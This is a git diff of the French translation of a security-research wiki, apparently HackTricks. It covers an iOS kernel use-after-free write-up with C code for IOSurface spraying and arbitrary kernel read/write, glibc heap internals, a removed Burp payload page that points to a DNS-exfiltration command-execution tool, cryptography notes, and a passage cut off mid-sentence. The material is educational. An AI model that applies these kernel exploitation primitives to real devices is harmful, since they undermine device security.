[https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) -### Processus de spray de tas étape par étape +### Processus de Spray de Tas Étape par Étape -1. **Spray d'objets IOSurface** : L'attaquant crée de nombreux objets IOSurface avec un identifiant spécial ("valeur magique"). -2. **Scanner les pages libérées** : Ils vérifient si l'un des objets a été alloué sur une page libérée. -3. **Lire/Écrire dans la mémoire du noyau** : En manipulant des champs dans l'objet IOSurface, ils obtiennent la capacité d'effectuer des **lectures et écritures arbitraires** dans la mémoire du noyau. Cela leur permet de : +1. **Spray d'Objets IOSurface** : L'attaquant crée de nombreux objets IOSurface avec un identifiant spécial ("valeur magique"). +2. **Scanner les Pages Libérées** : Ils vérifient si l'un des objets a été alloué sur une page libérée. +3. **Lire/Écrire dans la Mémoire du Noyau** : En manipulant des champs dans l'objet IOSurface, ils obtiennent la capacité d'effectuer des **lectures et écritures arbitraires** dans la mémoire du noyau. Cela leur permet de : * Utiliser un champ pour **lire n'importe quelle valeur 32 bits** dans la mémoire du noyau. * Utiliser un autre champ pour **écrire des valeurs 64 bits**, atteignant un **primitive de lecture/écriture stable du noyau**. -Générer des objets IOSurface avec la valeur magique IOSURFACE_MAGIC à rechercher plus tard : +Générer des objets IOSurface avec la valeur magique IOSURFACE\_MAGIC pour rechercher plus tard : ```c void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { if (*nClients >= 0x4000) return; @@ -140,22 +142,22 @@ return 0; ``` ### Réaliser des opérations de lecture/écriture du noyau avec IOSurface -Après avoir pris le contrôle d'un objet IOSurface dans la mémoire du noyau (mappé à une page physique libérée accessible depuis l'espace utilisateur), nous pouvons l'utiliser pour des **opérations de lecture et d'écriture arbitraires du noyau**. +Après avoir obtenu le contrôle d'un objet IOSurface dans la mémoire du noyau (mappé à une page physique libérée accessible depuis l'espace utilisateur), nous pouvons l'utiliser pour des **opérations de lecture et d'écriture arbitraires dans le noyau**. **Champs clés dans IOSurface** L'objet IOSurface a deux champs cruciaux : -1. **Pointeur de compte d'utilisation** : Permet une **lecture de 32 bits**. -2. **Pointeur de timestamp indexé** : Permet une **écriture de 64 bits**. +1. **Pointeur de compteur d'utilisation** : Permet une **lecture 32 bits**. +2. **Pointeur d'horodatage indexé** : Permet une **écriture 64 bits**. En écrasant ces pointeurs, nous les redirigeons vers des adresses arbitraires dans la mémoire du noyau, permettant des capacités de lecture/écriture. -#### Lecture du noyau de 32 bits +#### Lecture du noyau 32 bits Pour effectuer une lecture : -1. Écrasez le **pointeur de compte d'utilisation** pour qu'il pointe vers l'adresse cible moins un décalage de 0x14 octets. +1. Écrasez le **pointeur de compteur d'utilisation** pour pointer vers l'adresse cible moins un décalage de 0x14 octets. 2. Utilisez la méthode `get_use_count` pour lire la valeur à cette adresse. ```c uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { @@ -179,7 +181,7 @@ return value; Pour effectuer une écriture : 1. Écrasez le **pointeur de timestamp indexé** à l'adresse cible. -2. Utilisez la méthode `set_indexed_timestamp` pour écrire une valeur de 64 bits. +2. Utilisez la méthode `set_indexed_timestamp` pour écrire une valeur 64 bits. ```c void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { uint64_t args[3] = {surfaceID, 0, value}; @@ -195,9 +197,11 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig); ``` #### Récapitulatif du Flux d'Exploitation -1. **Déclencher une Utilisation Après Libération Physique** : Les pages libérées sont disponibles pour réutilisation. +1. **Déclencher un Utilisation-Après-Libération Physique** : Des pages libérées sont disponibles pour réutilisation. 2. **Pulvériser des Objets IOSurface** : Allouer de nombreux objets IOSurface avec une "valeur magique" unique dans la mémoire du noyau. 3. **Identifier un IOSurface Accessible** : Localiser un IOSurface sur une page libérée que vous contrôlez. -4. **Abuser de l'Utilisation Après Libération** : Modifier les pointeurs dans l'objet IOSurface pour permettre une **lecture/écriture** arbitraire du noyau via les méthodes IOSurface. +4. **Abuser de l'Utilisation-Après-Libération** : Modifier les pointeurs dans l'objet IOSurface pour permettre une **lecture/écriture arbitraire du noyau** via les méthodes IOSurface. -Avec ces primitives, l'exploitation fournit des **lectures 32 bits** contrôlées et des **écritures 64 bits** dans la mémoire du noyau. D'autres étapes de jailbreak pourraient impliquer des primitives de lecture/écriture plus stables, ce qui pourrait nécessiter de contourner des protections supplémentaires (par exemple, PPL sur les nouveaux appareils arm64e). +Avec ces primitives, l'exploitation fournit des **lectures de 32 bits** et des **écritures de 64 bits** dans la mémoire du noyau. D'autres étapes de jailbreak pourraient impliquer des primitives de lecture/écriture plus stables, ce qui pourrait nécessiter de contourner des protections supplémentaires (par exemple, PPL sur les nouveaux appareils arm64e). + +{{#include /banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/README.md b/src/binary-exploitation/libc-heap/README.md index 522b3c041..786bed3ee 100644 --- a/src/binary-exploitation/libc-heap/README.md +++ b/src/binary-exploitation/libc-heap/README.md @@ -1,5 +1,7 @@ # Libc Heap +{{#include /banners/hacktricks-training.md}} + ## Heap Basics Le tas est essentiellement l'endroit où un programme peut stocker des données lorsqu'il demande des données en appelant des fonctions comme **`malloc`**, `calloc`... De plus, lorsque cette mémoire n'est plus nécessaire, elle est rendue disponible en appelant la fonction **`free`**. @@ -15,8 +17,8 @@ Lorsque des données sont demandées pour être stockées dans le tas, un certai Il existe différentes manières de réserver l'espace, principalement en fonction du bin utilisé, mais une méthodologie générale est la suivante : - Le programme commence par demander une certaine quantité de mémoire. -- Si dans la liste des chunks, il y a un chunk disponible suffisamment grand pour satisfaire la demande, il sera utilisé. -- Cela peut même signifier qu'une partie du chunk disponible sera utilisée pour cette demande et que le reste sera ajouté à la liste des chunks. +- Si dans la liste des chunks, il y a un disponible suffisamment grand pour satisfaire la demande, il sera utilisé. +- Cela peut même signifier qu'une partie du chunk disponible sera utilisée pour cette demande et le reste sera ajouté à la liste des chunks. - S'il n'y a pas de chunk disponible dans la liste mais qu'il y a encore de l'espace dans la mémoire du tas allouée, le gestionnaire de tas crée un nouveau chunk. - S'il n'y a pas assez d'espace dans le tas pour allouer le nouveau chunk, le gestionnaire de tas demande au noyau d'augmenter la mémoire allouée au tas et utilise ensuite cette mémoire pour générer le nouveau chunk. - Si tout échoue, `malloc` retourne null. @@ -29,7 +31,7 @@ Dans les applications **multithreadées**, le gestionnaire de tas doit prévenir Pour y remédier, l'allocateur de tas ptmalloc2 a introduit des "arènes", où **chaque arène** agit comme un **tas séparé** avec ses **propres** structures de **données** et **mutex**, permettant à plusieurs threads d'effectuer des opérations sur le tas sans interférer les uns avec les autres, tant qu'ils utilisent des arènes différentes. -L'arène "principale" par défaut gère les opérations de tas pour les applications à thread unique. Lorsque des **nouveaux threads** sont ajoutés, le gestionnaire de tas leur attribue des **arènes secondaires** pour réduire la contention. Il essaie d'abord d'attacher chaque nouveau thread à une arène inutilisée, en créant de nouvelles si nécessaire, jusqu'à une limite de 2 fois le nombre de cœurs CPU pour les systèmes 32 bits et 8 fois pour les systèmes 64 bits. Une fois la limite atteinte, **les threads doivent partager des arènes**, ce qui peut entraîner une contention potentielle. +L'arène "principale" par défaut gère les opérations de tas pour les applications à thread unique. Lorsque des **nouveaux threads** sont ajoutés, le gestionnaire de tas leur attribue des **arènes secondaires** pour réduire la contention. Il tente d'abord d'attacher chaque nouveau thread à une arène inutilisée, en créant de nouvelles si nécessaire, jusqu'à une limite de 2 fois le nombre de cœurs CPU pour les systèmes 32 bits et 8 fois pour les systèmes 64 bits. Une fois la limite atteinte, **les threads doivent partager des arènes**, ce qui peut entraîner une contention potentielle. Contrairement à l'arène principale, qui s'agrandit en utilisant l'appel système `brk`, les arènes secondaires créent des "sous-tas" en utilisant `mmap` et `mprotect` pour simuler le comportement du tas, permettant une flexibilité dans la gestion de la mémoire pour les opérations multithreadées. @@ -45,8 +47,8 @@ Les sous-tas servent de réserves de mémoire pour les arènes secondaires dans - Par défaut, la taille réservée pour un sous-tas est de 1 Mo pour les processus 32 bits et de 64 Mo pour les processus 64 bits. 3. **Expansion progressive avec `mprotect`** : - La région de mémoire réservée est initialement marquée comme `PROT_NONE`, indiquant que le noyau n'a pas besoin d'allouer de mémoire physique à cet espace pour le moment. -- Pour "faire croître" le sous-tas, le gestionnaire de tas utilise `mprotect` pour changer les permissions de page de `PROT_NONE` à `PROT_READ | PROT_WRITE`, incitant le noyau à allouer de la mémoire physique aux adresses précédemment réservées. Cette approche étape par étape permet au sous-tas de s'agrandir au besoin. -- Une fois que l'ensemble du sous-tas est épuisé, le gestionnaire de tas crée un nouveau sous-tas pour continuer l'allocation. +- Pour "faire croître" le sous-tas, le gestionnaire de tas utilise `mprotect` pour changer les permissions de page de `PROT_NONE` à `PROT_READ | PROT_WRITE`, incitant le noyau à allouer de la mémoire physique aux adresses précédemment réservées. Cette approche progressive permet au sous-tas de s'étendre au besoin. +- Une fois que tout le sous-tas est épuisé, le gestionnaire de tas crée un nouveau sous-tas pour continuer l'allocation. ### heap_info @@ -72,12 +74,12 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; **Chaque tas** (arène principale ou autres arènes de threads) a une **structure `malloc_state`.**\ Il est important de noter que la **structure `malloc_state` de l'arène principale** est une **variable globale dans la libc** (donc située dans l'espace mémoire de la libc).\ -Dans le cas des **structures `malloc_state`** des tas de threads, elles sont situées **dans le "tas" de leur propre thread**. +Dans le cas des **structures `malloc_state`** des tas de threads, elles sont situées **à l'intérieur du "tas" de leur propre thread**. Il y a des choses intéressantes à noter à partir de cette structure (voir le code C ci-dessous) : - `__libc_lock_define (, mutex);` est là pour s'assurer que cette structure du tas est accessible par 1 thread à la fois -- Drapeaux : +- Flags : - ```c #define NONCONTIGUOUS_BIT (2U) @@ -92,7 +94,7 @@ Il y a des choses intéressantes à noter à partir de cette structure (voir le - Par conséquent, le **premier chunk** de ces bins aura un **pointeur arrière vers cette structure** et le **dernier chunk** de ces bins aura un **pointeur avant** vers cette structure. Ce qui signifie essentiellement que si vous pouvez **fuiter ces adresses dans l'arène principale**, vous aurez un pointeur vers la structure dans la **libc**. - Les structs `struct malloc_state *next;` et `struct malloc_state *next_free;` sont des listes chaînées d'arènes - Le chunk `top` est le dernier "chunk", qui est essentiellement **tout l'espace restant du tas**. Une fois que le chunk supérieur est "vide", le tas est complètement utilisé et il doit demander plus d'espace. -- Le chunk `last reminder` provient de cas où un chunk de taille exacte n'est pas disponible et donc un chunk plus grand est divisé, un pointeur de la partie restante est placé ici. +- Le chunk `last reminder` provient de cas où un chunk de taille exacte n'est pas disponible et donc un chunk plus grand est divisé, une partie restante du pointeur est placée ici. ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812 @@ -174,14 +176,14 @@ De plus, lorsque disponible, les données utilisateur sont également utilisées - **`fd`** : Pointeur vers le morceau suivant - **`bk`** : Pointeur vers le morceau précédent - **`fd_nextsize`** : Pointeur vers le premier morceau dans la liste qui est plus petit que lui-même -- **`bk_nextsize` :** Pointeur vers le premier morceau de la liste qui est plus grand que lui-même +- **`bk_nextsize`** : Pointeur vers le premier morceau dans la liste qui est plus grand que lui-même

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

-> [!NOTE] +> [!TIP] > Notez comment lier la liste de cette manière évite la nécessité d'avoir un tableau où chaque morceau est enregistré. -### Pointeurs de morceaux +### Pointeurs de Morceau Lorsque malloc est utilisé, un pointeur vers le contenu qui peut être écrit est retourné (juste après les en-têtes), cependant, lors de la gestion des morceaux, un pointeur vers le début des en-têtes (métadonnées) est nécessaire.\ Pour ces conversions, ces fonctions sont utilisées : @@ -204,7 +206,7 @@ Pour ces conversions, ces fonctions sont utilisées : ``` ### Alignement & taille minimale -Le pointeur vers le morceau et `0x0f` doivent être 0. +Le pointeur vers le chunk et `0x0f` doivent être 0. ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61 #define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1) @@ -394,9 +396,9 @@ return ptr; ``` ## Exemples -### Exemple rapide de tas +### Exemple de tas rapide -Exemple rapide de tas provenant de [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) mais en arm64 : +Exemple de tas rapide de [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) mais en arm64 : ```c #include #include @@ -483,15 +485,15 @@ et à l'intérieur, on peut trouver quelques chunks : ## Bins & Allocations/Désallocations de Mémoire -Vérifiez ce que sont les bins, comment ils sont organisés et comment la mémoire est allouée et désallouée dans : +Vérifiez ce que sont les bins et comment ils sont organisés et comment la mémoire est allouée et désallouée dans : {{#ref}} bins-and-memory-allocations.md {{#endref}} -## Vérifications de Sécurité des Fonctions de Tas +## Vérifications de Sécurité des Fonctions de Heap -Les fonctions impliquées dans le tas effectueront certaines vérifications avant d'exécuter leurs actions pour essayer de s'assurer que le tas n'a pas été corrompu : +Les fonctions impliquées dans le heap effectueront certaines vérifications avant d'exécuter leurs actions pour essayer de s'assurer que le heap n'a pas été corrompu : {{#ref}} heap-memory-functions/heap-functions-security-checks.md @@ -501,3 +503,6 @@ heap-memory-functions/heap-functions-security-checks.md - [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/) - [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/) + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/burp-suite.md b/src/burp-suite.md deleted file mode 100644 index 6f37a573d..000000000 --- a/src/burp-suite.md +++ /dev/null @@ -1,19 +0,0 @@ -{{#include ./banners/hacktricks-training.md}} - -# Charges utiles de base - -- **Liste simple :** Juste une liste contenant une entrée sur chaque ligne -- **Fichier d'exécution :** Une liste lue en temps d'exécution (non chargée en mémoire). Pour prendre en charge de grandes listes. -- **Modification de cas :** Appliquer des modifications à une liste de chaînes (Pas de changement, en minuscules, en MAJUSCULES, en nom propre - Première lettre en majuscule et le reste en minuscules -, en nom propre - Première lettre en majuscule et le reste reste le même -). -- **Nombres :** Générer des nombres de X à Y en utilisant un pas de Z ou aléatoirement. -- **Brute Forcer :** Ensemble de caractères, longueur min & max. - -[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Charge utile pour exécuter des commandes et récupérer la sortie via des requêtes DNS à burpcollab. - -{{#ref}} -https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e -{{#endref}} - -[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator) - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/cryptographic-algorithms/README.md b/src/crypto-and-stego/cryptographic-algorithms/README.md index 8e27af6a0..be2dbc08b 100644 --- a/src/crypto-and-stego/cryptographic-algorithms/README.md +++ b/src/crypto-and-stego/cryptographic-algorithms/README.md @@ -1,12 +1,10 @@ # Algorithmes Cryptographiques/Compression -## Algorithmes Cryptographiques/Compression - {{#include ../../banners/hacktricks-training.md}} ## Identification des Algorithmes -Si vous terminez par un code **utilisant des décalages à droite et à gauche, des xors et plusieurs opérations arithmétiques**, il est très probable qu'il s'agisse de l'implémentation d'un **algorithme cryptographique**. Voici quelques façons de **identifier l'algorithme utilisé sans avoir besoin de revenir sur chaque étape**. +Si vous terminez par un code **utilisant des décalages à droite et à gauche, des xors et plusieurs opérations arithmétiques**, il est très probable qu'il s'agisse de l'implémentation d'un **algorithme cryptographique**. Voici quelques façons de **identifier l'algorithme utilisé sans avoir besoin de renverser chaque étape**. ### Fonctions API @@ -16,7 +14,7 @@ Si cette fonction est utilisée, vous pouvez trouver quel **algorithme est utili ![](<../../images/image (156).png>) -Consultez ici le tableau des algorithmes possibles et leurs valeurs assignées : [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) +Consultez ici le tableau des algorithmes possibles et de leurs valeurs assignées : [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) **RtlCompressBuffer/RtlDecompressBuffer** @@ -33,11 +31,11 @@ Initie le hachage d'un flux de données. Si cette fonction est utilisée, vous p ![](<../../images/image (549).png>) \ -Consultez ici le tableau des algorithmes possibles et leurs valeurs assignées : [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) +Consultez ici le tableau des algorithmes possibles et de leurs valeurs assignées : [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) ### Constantes de code -Parfois, il est vraiment facile d'identifier un algorithme grâce au fait qu'il doit utiliser une valeur spéciale et unique. +Parfois, il est très facile d'identifier un algorithme grâce au fait qu'il doit utiliser une valeur spéciale et unique. ![](<../../images/image (833).png>) @@ -48,7 +46,7 @@ Si vous recherchez la première constante sur Google, voici ce que vous obtenez Par conséquent, vous pouvez supposer que la fonction décompilée est un **calculateur sha256.**\ Vous pouvez rechercher n'importe laquelle des autres constantes et vous obtiendrez (probablement) le même résultat. -### informations sur les données +### Informations sur les données Si le code n'a pas de constante significative, il peut être **en train de charger des informations à partir de la section .data**.\ Vous pouvez accéder à ces données, **grouper le premier dword** et les rechercher sur Google comme nous l'avons fait dans la section précédente : @@ -63,22 +61,22 @@ Dans ce cas, si vous recherchez **0xA56363C6**, vous pouvez trouver qu'il est li Il est composé de 3 parties principales : -- **Phase d'initialisation/** : Crée une **table de valeurs de 0x00 à 0xFF** (256 octets au total, 0x100). Cette table est communément appelée **Boîte de Substitution** (ou SBox). -- **Phase de brouillage** : Va **parcourir la table** créée précédemment (boucle de 0x100 itérations, encore une fois) en modifiant chaque valeur avec des octets **semi-aléatoires**. Pour créer ces octets semi-aléatoires, la **clé RC4 est utilisée**. Les **clés RC4** peuvent avoir une **longueur comprise entre 1 et 256 octets**, cependant, il est généralement recommandé qu'elle soit supérieure à 5 octets. En général, les clés RC4 font 16 octets de long. -- **Phase XOR** : Enfin, le texte en clair ou le texte chiffré est **XORé avec les valeurs créées précédemment**. La fonction pour chiffrer et déchiffrer est la même. Pour cela, une **boucle à travers les 256 octets créés** sera effectuée autant de fois que nécessaire. Cela est généralement reconnu dans un code décompilé avec un **%256 (mod 256)**. +- **Étape d'initialisation/** : Crée une **table de valeurs de 0x00 à 0xFF** (256 octets au total, 0x100). Cette table est communément appelée **Boîte de Substitution** (ou SBox). +- **Étape de brouillage** : Va **parcourir la table** créée précédemment (boucle de 0x100 itérations, encore une fois) en modifiant chaque valeur avec des octets **semi-aléatoires**. Pour créer ces octets semi-aléatoires, la **clé RC4 est utilisée**. Les **clés RC4** peuvent avoir une **longueur comprise entre 1 et 256 octets**, cependant, il est généralement recommandé qu'elle soit supérieure à 5 octets. En général, les clés RC4 font 16 octets de long. +- **Étape XOR** : Enfin, le texte en clair ou le texte chiffré est **XORé avec les valeurs créées précédemment**. La fonction pour chiffrer et déchiffrer est la même. Pour cela, une **boucle à travers les 256 octets créés** sera effectuée autant de fois que nécessaire. Cela est généralement reconnu dans un code décompilé avec un **%256 (mod 256)**. -> [!NOTE] +> [!TIP] > **Pour identifier un RC4 dans un code désassemblé/décompilé, vous pouvez vérifier 2 boucles de taille 0x100 (avec l'utilisation d'une clé) et ensuite un XOR des données d'entrée avec les 256 valeurs créées précédemment dans les 2 boucles probablement en utilisant un %256 (mod 256)** -### **Phase d'initialisation/Boîte de Substitution :** (Notez le nombre 256 utilisé comme compteur et comment un 0 est écrit à chaque place des 256 caractères) +### **Étape d'initialisation/Boîte de Substitution :** (Notez le nombre 256 utilisé comme compteur et comment un 0 est écrit à chaque place des 256 caractères) ![](<../../images/image (584).png>) -### **Phase de Brouillage :** +### **Étape de Brouillage :** ![](<../../images/image (835).png>) -### **Phase XOR :** +### **Étape XOR :** ![](<../../images/image (904).png>) @@ -88,7 +86,7 @@ Il est composé de 3 parties principales : - Utilisation de **boîtes de substitution et de tables de recherche** - Il est possible de **distinguer AES grâce à l'utilisation de valeurs de tables de recherche spécifiques** (constantes). _Notez que la **constante** peut être **stockée** dans le binaire **ou créée** _ _**dynamiquement**._ -- La **clé de chiffrement** doit être **divisible** par **16** (généralement 32B) et généralement un **IV** de 16B est utilisé. +- La **clé de chiffrement** doit être **divisible** par **16** (généralement 32B) et un **IV** de 16B est généralement utilisé. ### Constantes SBox @@ -104,11 +102,11 @@ Il est composé de 3 parties principales : ### Identification Dans l'image suivante, remarquez comment la constante **0x9E3779B9** est utilisée (notez que cette constante est également utilisée par d'autres algorithmes cryptographiques comme **TEA** -Tiny Encryption Algorithm).\ -Notez également la **taille de la boucle** (**132**) et le **nombre d'opérations XOR** dans les **instructions de désassemblage** et dans l'**exemple de code** : +Notez également la **taille de la boucle** (**132**) et le **nombre d'opérations XOR** dans les instructions de **désassemblage** et dans l'exemple de **code** : ![](<../../images/image (547).png>) -Comme mentionné précédemment, ce code peut être visualisé dans n'importe quel décompilateur comme une **très longue fonction** car il **n'y a pas de sauts** à l'intérieur. Le code décompilé peut ressembler à ceci : +Comme mentionné précédemment, ce code peut être visualisé dans n'importe quel décompilateur comme une **très longue fonction** car il **n'y a pas de sauts** à l'intérieur. Le code décompilé peut ressembler à ce qui suit : ![](<../../images/image (513).png>) diff --git a/src/cryptography/certificates.md b/src/cryptography/certificates.md deleted file mode 100644 index ac1396a60..000000000 --- a/src/cryptography/certificates.md +++ /dev/null @@ -1,157 +0,0 @@ -# Certificats - -{{#include ../banners/hacktricks-training.md}} - -## Qu'est-ce qu'un certificat - -Un **certificat de clé publique** est une ID numérique utilisée en cryptographie pour prouver qu'une personne possède une clé publique. Il inclut les détails de la clé, l'identité du propriétaire (le sujet) et une signature numérique d'une autorité de confiance (l'émetteur). Si le logiciel fait confiance à l'émetteur et que la signature est valide, une communication sécurisée avec le propriétaire de la clé est possible. - -Les certificats sont principalement émis par des [autorités de certification](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) dans une [infrastructure à clé publique](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI). Une autre méthode est le [web de confiance](https://en.wikipedia.org/wiki/Web_of_trust), où les utilisateurs vérifient directement les clés des autres. Le format commun pour les certificats est [X.509](https://en.wikipedia.org/wiki/X.509), qui peut être adapté à des besoins spécifiques comme indiqué dans le RFC 5280. - -## Champs communs x509 - -### **Champs communs dans les certificats x509** - -Dans les certificats x509, plusieurs **champs** jouent des rôles critiques pour garantir la validité et la sécurité du certificat. Voici un aperçu de ces champs : - -- **Numéro de version** signifie la version du format x509. -- **Numéro de série** identifie de manière unique le certificat au sein du système d'une Autorité de Certification (CA), principalement pour le suivi des révocations. -- Le champ **Sujet** représente le propriétaire du certificat, qui peut être une machine, un individu ou une organisation. Il inclut une identification détaillée telle que : -- **Nom commun (CN)** : Domaines couverts par le certificat. -- **Pays (C)**, **Localité (L)**, **État ou Province (ST, S, ou P)**, **Organisation (O)**, et **Unité organisationnelle (OU)** fournissent des détails géographiques et organisationnels. -- **Nom distinctif (DN)** encapsule l'identification complète du sujet. -- **Émetteur** détaille qui a vérifié et signé le certificat, y compris des sous-champs similaires à ceux du Sujet pour la CA. -- La **période de validité** est marquée par les horodatages **Non avant** et **Non après**, garantissant que le certificat n'est pas utilisé avant ou après une certaine date. -- La section **Clé publique**, cruciale pour la sécurité du certificat, spécifie l'algorithme, la taille et d'autres détails techniques de la clé publique. -- Les **extensions x509v3** améliorent la fonctionnalité du certificat, spécifiant **Utilisation de la clé**, **Utilisation de clé étendue**, **Nom alternatif du sujet**, et d'autres propriétés pour affiner l'application du certificat. - -#### **Utilisation de la clé et extensions** - -- **Utilisation de la clé** identifie les applications cryptographiques de la clé publique, comme la signature numérique ou le chiffrement de clé. -- **Utilisation de clé étendue** précise davantage les cas d'utilisation du certificat, par exemple, pour l'authentification de serveur TLS. -- **Nom alternatif du sujet** et **Contrainte de base** définissent des noms d'hôtes supplémentaires couverts par le certificat et s'il s'agit d'un certificat CA ou d'entité finale, respectivement. -- Des identifiants comme **Identifiant de clé du sujet** et **Identifiant de clé d'autorité** garantissent l'unicité et la traçabilité des clés. -- **Accès à l'information d'autorité** et **Points de distribution CRL** fournissent des chemins pour vérifier la CA émettrice et vérifier l'état de révocation du certificat. -- Les **SCTs de pré-certificat CT** offrent des journaux de transparence, cruciaux pour la confiance publique dans le certificat. -```python -# Example of accessing and using x509 certificate fields programmatically: -from cryptography import x509 -from cryptography.hazmat.backends import default_backend - -# Load an x509 certificate (assuming cert.pem is a certificate file) -with open("cert.pem", "rb") as file: -cert_data = file.read() -certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) - -# Accessing fields -serial_number = certificate.serial_number -issuer = certificate.issuer -subject = certificate.subject -public_key = certificate.public_key() - -print(f"Serial Number: {serial_number}") -print(f"Issuer: {issuer}") -print(f"Subject: {subject}") -print(f"Public Key: {public_key}") -``` -### **Différence entre OCSP et points de distribution CRL** - -**OCSP** (**RFC 2560**) implique qu'un client et un répondant travaillent ensemble pour vérifier si un certificat de clé publique numérique a été révoqué, sans avoir besoin de télécharger la **CRL** complète. Cette méthode est plus efficace que la **CRL** traditionnelle, qui fournit une liste de numéros de série de certificats révoqués mais nécessite le téléchargement d'un fichier potentiellement volumineux. Les CRL peuvent inclure jusqu'à 512 entrées. Plus de détails sont disponibles [ici](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm). - -### **Qu'est-ce que la transparence des certificats** - -La transparence des certificats aide à lutter contre les menaces liées aux certificats en garantissant que l'émission et l'existence des certificats SSL sont visibles pour les propriétaires de domaine, les CA et les utilisateurs. Ses objectifs sont : - -- Empêcher les CA d'émettre des certificats SSL pour un domaine sans la connaissance du propriétaire du domaine. -- Établir un système d'audit ouvert pour suivre les certificats émis par erreur ou de manière malveillante. -- Protéger les utilisateurs contre les certificats frauduleux. - -#### **Journaux de certificats** - -Les journaux de certificats sont des enregistrements audités publiquement, en mode ajout uniquement, de certificats, maintenus par des services réseau. Ces journaux fournissent des preuves cryptographiques à des fins d'audit. Les autorités d'émission et le public peuvent soumettre des certificats à ces journaux ou les interroger pour vérification. Bien que le nombre exact de serveurs de journaux ne soit pas fixe, on s'attend à ce qu'il soit inférieur à mille dans le monde. Ces serveurs peuvent être gérés indépendamment par des CA, des FAI ou toute entité intéressée. - -#### **Interrogation** - -Pour explorer les journaux de transparence des certificats pour un domaine quelconque, visitez [https://crt.sh/](https://crt.sh). - -Différents formats existent pour stocker des certificats, chacun ayant ses propres cas d'utilisation et compatibilité. Ce résumé couvre les principaux formats et fournit des conseils sur la conversion entre eux. - -## **Formats** - -### **Format PEM** - -- Format le plus largement utilisé pour les certificats. -- Nécessite des fichiers séparés pour les certificats et les clés privées, encodés en Base64 ASCII. -- Extensions courantes : .cer, .crt, .pem, .key. -- Principalement utilisé par Apache et des serveurs similaires. - -### **Format DER** - -- Un format binaire de certificats. -- Manque les déclarations "BEGIN/END CERTIFICATE" trouvées dans les fichiers PEM. -- Extensions courantes : .cer, .der. -- Souvent utilisé avec des plateformes Java. - -### **Format P7B/PKCS#7** - -- Stocké en Base64 ASCII, avec les extensions .p7b ou .p7c. -- Contient uniquement des certificats et des certificats de chaîne, excluant la clé privée. -- Pris en charge par Microsoft Windows et Java Tomcat. - -### **Format PFX/P12/PKCS#12** - -- Un format binaire qui encapsule les certificats de serveur, les certificats intermédiaires et les clés privées dans un seul fichier. -- Extensions : .pfx, .p12. -- Principalement utilisé sur Windows pour l'importation et l'exportation de certificats. - -### **Conversion de formats** - -**Les conversions PEM** sont essentielles pour la compatibilité : - -- **x509 à PEM** -```bash -openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem -``` -- **PEM à DER** -```bash -openssl x509 -outform der -in certificatename.pem -out certificatename.der -``` -- **DER à PEM** -```bash -openssl x509 -inform der -in certificatename.der -out certificatename.pem -``` -- **PEM à P7B** -```bash -openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer -``` -- **PKCS7 à PEM** -```bash -openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem -``` -**Les conversions PFX** sont cruciales pour la gestion des certificats sur Windows : - -- **PFX à PEM** -```bash -openssl pkcs12 -in certificatename.pfx -out certificatename.pem -``` -- **PFX à PKCS#8** implique deux étapes : -1. Convertir PFX en PEM -```bash -openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem -``` -2. Convertir PEM en PKCS8 -```bash -openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 -``` -- **P7B à PFX** nécessite également deux commandes : -1. Convertir P7B en CER -```bash -openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer -``` -2. Convertir CER et clé privée en PFX -```bash -openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer -``` ---- - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/cipher-block-chaining-cbc-mac-priv.md b/src/cryptography/cipher-block-chaining-cbc-mac-priv.md deleted file mode 100644 index c9d90801e..000000000 --- a/src/cryptography/cipher-block-chaining-cbc-mac-priv.md +++ /dev/null @@ -1,55 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -# CBC - -Si le **cookie** est **uniquement** le **nom d'utilisateur** (ou si la première partie du cookie est le nom 